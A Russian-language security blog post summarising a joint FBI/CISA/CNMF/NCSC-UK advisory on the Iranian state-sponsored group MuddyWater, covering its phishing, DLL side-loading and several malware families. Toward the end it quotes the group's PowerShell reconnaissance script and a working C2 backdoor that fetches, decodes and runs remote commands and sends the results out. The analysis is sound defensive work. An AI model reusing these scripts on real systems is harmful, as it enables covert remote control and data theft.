15 мая 2022
Иранская APT группировка MuddyWater
ФБР, Агенство безопасности критической инфраструктуры США (CISA), CNMF и NCSC-UK, исследовали активность иранской хакерской APT группировки
ФБР, Агенство безопасности критической инфраструктуры США (CISA), CNMF и NCSC-UK, исследовали активность иранской хакерской APT группировки (Спонсируемой государством), известной как «грязная вода» (MuddyWater), проводящей шпионаж за рядом организаций, в разных сферах, включая телекоммуникации, оборонная промышленность, правительственные компании, нефтяные и газовые отрасли – в Азии, Африке, Европе и Северной Америке.
Пример: APT группировка также известна как «Earth Vetala», «MERCURY», «Static Kitten», «Seedworm», и «TEMP.Zagros».
Данная группировка подчиняется Иранскому Министерству Расследований и Безопасности (MOIS). Группировка разворачивала свои кампании с 2018, в которых были произведены кражи данных, передача правительству и распространение среди других APT группировок. Группировка использует известные эксплойты и opensource ПО для кражи информации, проникновения и развертывания ransomware в инфраструктуре жертвы. Злоумышленники используют различные техники для закрепления в инфраструктуре жертвы, к примеру: Side-loading DLL (в которой вместо легитимной библиотеки подкладывается вредоносная и легитимное ПО, которое уже установлено в организации, её подгружает), а также обфусцированные PowerShell скрипты поддерживающие C2 функции. FBI, CISA, CNMF & NCSC-UK недавно обнаружили различные вредоносы: варианты PowGoop, Small Sieve, Canopy (Starwhale), Mori, Powerstats и др.

Подробный анализ малвари — MAR-10369127.r1.v1: MuddyWater
IOCs — AA22-055A.stix and MAR-10369127.r1.v1.stix.
CISA’s webpage – Iran Cyber Threat Overview and Advisories
NCSC-UK MAR: Small Sieve
CNMF’s press release – Iranian intel cyber suite of malware uses open source tools
Технические детали
FBI, CISA, CNMF & NCSC-UK исследовали поведения APT группировки MuddyWater и обозначили основные вектора атак: spеarphishing, эксплуатация известных уязвимостей и применения различных opensource решений для получения доступа к чувствительной информации жертвы.

MuddyWater используют вредоносные вложения в фишинговых письмах (зачастую это ZIP файлы с Excel, содержащие вредоносные макросы для взаимодействия с их C2 сервером или PDF файл, который подгружает malware в локальную сеть жертвы [T1566.001, T1204.002]. Группировка также использует упомянутую ранее технику side-loading DLLs [T1574.002], которая позволяет запускать легитимное ПО загружаю в него вредоносные библиотеки, таким образом усложняя идентификацию и обфусцированные PowerShell скрипты, а также API Telegram, обфусцкацию трафика + протокол TLS.

В дополнение, группировка использует разные вредоносные сборки, включающие утилиты PowGoop, Small Sieve, Canopy/Starwhale, Mori, и POWERSTATS для подгрузки вредоносного ПО, доступа к бэкдорам, закреплению и эксфильтрации.
PowGoop

MuddyWater используют варианты вредоносного ПО PowGoop в качестве основного способа для загрузки необходимых компонентов; ПО состоит из загрузчика DLL и загрузчика на PowerShell. Вредоносный файл подписан как Google Update executable.

В ходе анализа, CISA & CNMF установили 3 составляющие вредоносного ПО (далее — ВПО):
  • Переименованная, подмененная вредоносная библиотека goopdate.dll (используется в технике DLL side-loading [T1574.002]. Запуск DLL производится из легитимного файла GoogleUpdate.exe.
  • PowerShell скрипт обфусцирован как файл с расширением *.dat, goopdate.dat, — используется для дешифрования и запуска второго обфусцированного PS скрипта — config.txt [T1059.001].
  • config.txt — закодированный файл, обфуцированный PowerShell скрипт содержащий beacon с IP адресом.
Все перечисленные выше компоненты обеспечивают связь с сервером C2 MuddyWater по факту запуска GoogleUpdate.exe.
Small Sieve

Согласно отчету NCSC-UK, Small Sieve — простой Python бэкдор, использующий Nullsoft Scriptable Install System (далее — NSIS) установщик — gram_app.exe.
NSIS установщик gram_app.exe запускает index.exe, открывает бэкдор добавляя ключ для запуска в реестр [T1547.001] и прописывается в директории текущего пользователя AppData/Roaming (запускается после перезагрузки), обеспечивая тем самым закрепление в инфраструктуре [TA0003].
MuddyWater маскируют ВПО, используют имена файлов и ключи реестра связанные с Microsoft Windows Defender, чтобы избежать обнаружения при повседневной проверке. Еще одной особенностью при атаке, является использование API Telegram поверх HTTPS [T1071.001], для постановки задач и передачи Beacon-информации, которая также обфусцирована через схему замены байтов в комбинации с обфускацией — кодирование Base64 [T1027], [T1132.002].
Закодированная информация API Telegram.
Несмотря на защищенную передачу посредством протокола TLS, SmallSieve также использует перетасовку байтов функция — Swap3 написана на Python3:
Обфускация трафика.
SmallSieve имеет анти-sandbox защиту, которая реализована через добавление к входному аргументу набора символов для вызова функции.
Canopy

MuddyWater также использует ВПО Canopy/Starwhale, который доставляется через spearphishing рассылку с «целевым» вложением [T1566.001]. Согласно анализу от CISA, Canopy использует Windows Script File (.wsf) скрипты, запускаемые из Excel файлов (из вложений), Cooperation terms.xls включает макрос с Visual Basic for Application — VBA (для анализа можно использовать инструменты с данного блога из раздела — Инструменты анализа подозрительных документов на наличие вредоносного кода.) и 2 закодированных *.wsf скрипта (запускаются из Excel).

Во время открытия Excel файла, запускается команда для запуска макроса [T1204.002], после чего запускается макрос, декодирующий и исполняющий скрипты *.wsf.

Первый скрипт после запуска поселяется в директории автозапуска [T1547.001] для закрепления (C:\Users\[Username]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup). Файл содержит строки с перетасованными байтами в hex формате [T1027]. Из этого файла происходит запуск второго .wsf скрипта.

Второй .wsf скрипт также содержит строки с перетасованными байтами в hex формате. Скрипт производит сбор информации об инфраструктуре: IP адресов, имени хоста и имени пользователя. Собранные данные также приводятся в формат hex и отсылаются в подконтрольный группировкой сервер http[:]88.119.170[.]124, через обыкновенный POST запрос.
Mori

MuddyWater используют Mori бэкдор (использует DNS тунеллирование) для связи с C2 серверов группировки.

Согласно анализу FML.dll от CISA, ВПО Mori использует DLL написанную на C++ которая выполняется из regsvr32.exe с экспортом DllRegisterServer.

FML.dll создает мьютексы, 0х50504060 и производит следующие действия:
  • Обеспечивает связь используя HTTP протокол (IPv4/IPv6).
  • Читает и(или) записывает данные из ключей реестра: HKLM\Software\NFC\IPA и HKLM\Software\NFC\(Default).

POWERSTATS

APT использует POWERSTATS бэкдор, который запускает PS скрипты для закрепления и получения доступа в сети жертвы.

Также группировка использует непропатченные уязвимости как часть их целевых операций. Среди уязвимостей: повышение привилегий Microsoft Netlogon (CVE-2020-1472) и уязвимость повреждения памяти для Microsoft Exchange (CVE-2020-0688).
Survey Script

Скрипты на PS для обследования инфраструктуры жертвы:

$O = Get-WmiObject Win32_OperatingSystem;$S = $O.Name;$S += «;;»;$ips = «»;Get- WmiObject Win32_NetworkAdapterConfiguration -Filter «IPEnabled=True» | % {$ips = $ips + «, » + $_.IPAddress[0]};$S += $ips.substring(1);$S += «;;»;$S += $O.OSArchitecture;$S += «;;»;$S += [System.Net.DNS]::GetHostByName(»).HostName;$S += «;;»;$S += ((Get-WmiObject Win32_ComputerSystem).Domain);$S += «;;»;$S += $env:UserName;$S += «;;»;$AntiVirusProducts = Get-WmiObject -Namespace «root\SecurityCenter2» -Class AntiVirusProduct -ComputerName $env:computername;$resAnti = @();foreach($AntiVirusProduct in $AntiVirusProducts){$resAnti += $AntiVirusProduct.displayName};$S += $resAnti;echo $S;

Скрипты на PowerShell для открытия бэкдора в инфраструктуре жертвы:

function encode($txt,$key){$enByte = [Text.Encoding]::UTF8.GetBytes($txt);for($i=0; $i -lt $enByte.count ; $i++){$enByte[$i] = $enByte[$i] -bxor $key;}$encodetxt = [Convert]::ToBase64String($enByte);return $encodetxt;}function decode($txt,$key){$enByte = [System.Convert]::FromBase64String($txt);for($i=0; $i -lt $enByte.count ; $i++){$enByte[$i] = $enByte[$i] -bxor $key;}$dtxt =[System.Text.Encoding]::UTF8.GetString($enByte);return $dtxt;}$global:tt=20;while($true){try{$w = [System.Net.HttpWebRequest]::Create(‘http[:]//95.181.161[.]49:80/index.php?id=<vi ctim identifier>’);$w.proxy = [Net.WebRequest]::GetSystemWebProxy();$r=(New- Object System.IO.StreamReader($w.GetResponse().GetResponseStream())).ReadToEnd();if($r.L ength -gt 0){$res=[string]$ExecutionContext.InvokeCommand.InvokeScript(( decode $r 2));$wr =[System.Net.HttpWebRequest]::Create(‘http[:]//95.181.161[.]49:80/index.php?id=<vi ctim identifier>’);$wr.proxy = [Net.WebRequest]::GetSystemWebProxy();$wr.Headers.Add(‘cookie’,(encode $res 2));$wr.GetResponse().GetResponseStream();}}catch {}Start-Sleep -Seconds $global:tt;}
Признаки компрометации инфраструктуры:
Техники MITRE ATT&CK — MITRE ATT&CK: MuddyWater.
Made on
Tilda